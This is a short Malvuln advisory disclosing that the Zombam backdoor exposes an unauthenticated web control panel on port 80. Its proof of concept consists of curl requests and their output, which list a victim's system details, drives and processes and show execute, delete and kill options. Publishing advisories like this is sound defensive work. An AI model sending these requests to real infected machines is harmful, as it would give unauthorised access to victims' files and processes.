Backdoor.Win32.Zombam.gen Information Disclosure

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/ff6516c881dee555b0cd253408b64404_D.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Zombam.gen  
Vulnerability: Information Disclosure  
Description: Zombam malware listens on TCP port 80 and deploys an unsecured HTML Web UI for basic remote administration capability. Third-party attackers who can reach an infected system can make HTTP GET requests to browse drives, list processes etc.  
Type: PE32  
MD5: ff6516c881dee555b0cd253408b64404  
Vuln ID: MVID-2021-0249  
Disclosure: 06/13/2021  
  
Exploit/PoC:  
1) Get system information  
  
CURL http://MALWARE-HOST-IP/info  
  
welcome 2 HTTP_RAT infected computer }:]  
  
menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]  
  
computer information:  
  
Computer name: DESKTOP-2C4IMHO  
Windows Directory: C:\WINDOWS  
System Directory: C:\WINDOWS\system32  
username: Victim  
  
2) Browse C:, D: drive  
  
CURL http://MALWARE-HOST-IP/C:/  
  
welcome 2 HTTP_RAT infected computer }:]  
  
menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]  
  
listing of C:/  
  
$Recycle.Bin  
Boot  
bootmgr [execute][delete]  
BOOTNXT [execute][delete]  
BOOTSECT.BAK [execute][delete]  
Documents and Settings  
dump  
pagefile.sys [execute][delete]  
PerfLogs  
Program Files  
Program Files (x86)  
ProgramData  
Recovery  
swapfile.sys [execute][delete]  
System Volume Information  
Users  
Windows  
  
3) Get processes  
  
CURL http://MALWARE-HOST-IP/proc   
  
welcome 2 HTTP_RAT infected computer }:]  
  
menu: [running processes] [browse] [computer info] [stop httprat] [have suggestions?] [homepage]  
  
running processez:  
  
[System Process]  
System [kill]  
smss.exe [kill]  
csrss.exe [kill]  
wininit.exe [kill]  
csrss.exe [kill]  
winlogon.exe [kill]  
services.exe [kill]  
lsass.exe [kill]  
fontdrvhost.exe [kill]  
svchost.exe [kill]  
fontdrvhost.exe [kill]  
svchost.exe [kill]  
dwm.exe [kill]  
svchost.exe [kill]  
svchost.exe [kill]  
  
  
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`